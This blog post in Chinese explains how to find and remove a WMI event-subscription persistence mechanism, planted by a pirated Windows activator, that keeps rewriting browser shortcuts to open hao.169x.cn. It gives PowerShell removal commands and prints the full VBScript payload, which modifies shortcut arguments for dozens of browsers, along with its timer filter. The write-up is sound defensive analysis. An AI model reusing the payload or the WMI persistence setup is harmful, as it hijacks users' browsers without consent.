最近浏览器快捷方式目标属性被修改,后面上了“hao.169x.cn”这个导航 ,每次修改后一段时间总又被修改回来。最近闲下来,决心找一找元凶。
经过一番搜索,发现是用小马激活的后遗症,而且用关键字“remove hao.169x.cn”搜索,发现不少歪果朋友也纷纷中招,顿时感觉脸上火辣辣的,中国特色牛皮癣啊。。。
解决办法其实还好说,除了要关闭计划任务里的两个相关项,还要按这篇博文所述删除WMI一些相关的东西,不过要注意wmi tool打开时应该以管理员身份运行。
经研究后发现,其实不需wmi tool,用PowerShell也可以解决,只需以管理员身份运行cmd,输入powershell,然后执行以下代码就可以了。
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name=‘VBScriptKids_filter‘""" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name = ‘VBScriptKids_consumer‘" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID = ‘VBScriptKids_timer‘" | Remove-WmiObject gwmi -Namespace "root/cimv2" -Class __EventFilter -Filter "Name = ‘VBScriptKids_filter‘" | Remove-WmiObject
这其实是WMI的event。WMI的event包含三种东西:Consumer, Filter和Timer,对应的class分别是:__EventConsumer,__EventFilter和__TimerInstruction。
第一条ActiveScriptEventConsumer是__EventConsumer的子类要执行的操作,它有个script属性,可以执行脚本,下面是格式化后的vb脚本内容:
On Error Resume Next Const link = "http://hao.169x.cn/?v=108" Const link360 = "http://hao.169x.cn/?v=108&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\xxx\Desktop,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs" browsersArr = Split(browsers,",") Set oDic = CreateObject("scripting.dictionary") For Each browser In browsersArr oDic.Add LCase(browser), browser Next lnkpathsArr = Split(lnkpaths,",") Set oFolders = CreateObject("scripting.dictionary") For Each lnkpath In lnkpathsArr oFolders.Add lnkpath, lnkpath Next Set fso = CreateObject("Scripting.Filesystemobject") Set WshShell = CreateObject("Wscript.Shell") For Each oFolder In oFolders If fso.FolderExists(oFolder) Then For Each file In fso.GetFolder(oFolder).Files If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then Set oShellLink = WshShell.CreateShortcut(file.Path) path = oShellLink.TargetPath name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path) If oDic.Exists(LCase(name)) Then If LCase(name) = LCase("360se.exe") Then oShellLink.Arguments = link360 Else oShellLink.Arguments = link End If If file.Attributes And 1 Then file.Attributes = file.Attributes - 1 End If oShellLink.Save End If End If Next End If Next
第三条的__IntervalTimerInstruction是__TimerInstruction的子类,是一个定时器,可以指定长时间执行一次。
第四条的__EventFilter有一个Query属性,内容是
select * from __timerevent where timerid="VBScriptKids_timer"
第一条的__FilterToConsumerBinding顾名思义就是Filter和Consumer的对应关系,相当于数据库中的多对多关系的中间表。在wmi tool这个工具里配置也很简单,只需在Filter列表里选中一个filter,在右侧的Consumer列表中选择对应的consumer,然后点右上角的“√”(Register)就好了。
推荐阅读:Windows Management Instrumentation (WMI) Offense, Defense, and Forensics(PDF) 其三篇译文:
WMI 的攻击,防御与取证分析技术之攻击篇
WMI 的攻击,防御与取证分析技术之防御篇WMI 的攻击,防御与取证分析技术之取证分析篇(作者尚未完成) 以及:
Show and Remove Permanent WMI Event Registrations
WMI Attacks--完-- 原文地址 http://www.cnblogs.com/szhx/p/5296822.htmlBy 博客园-心亦 为什么字数还少于150。。。我要被字数限制逼疯了。。。我想去睡觉了啊啊啊。。。我写一晚上容易吗我。。。真想知道150字是怎么算的啊。。。博客园你到底什么意思,150字150字。。。。。好吧,博客园你赢了
时间: 2024-11-04 23:43:58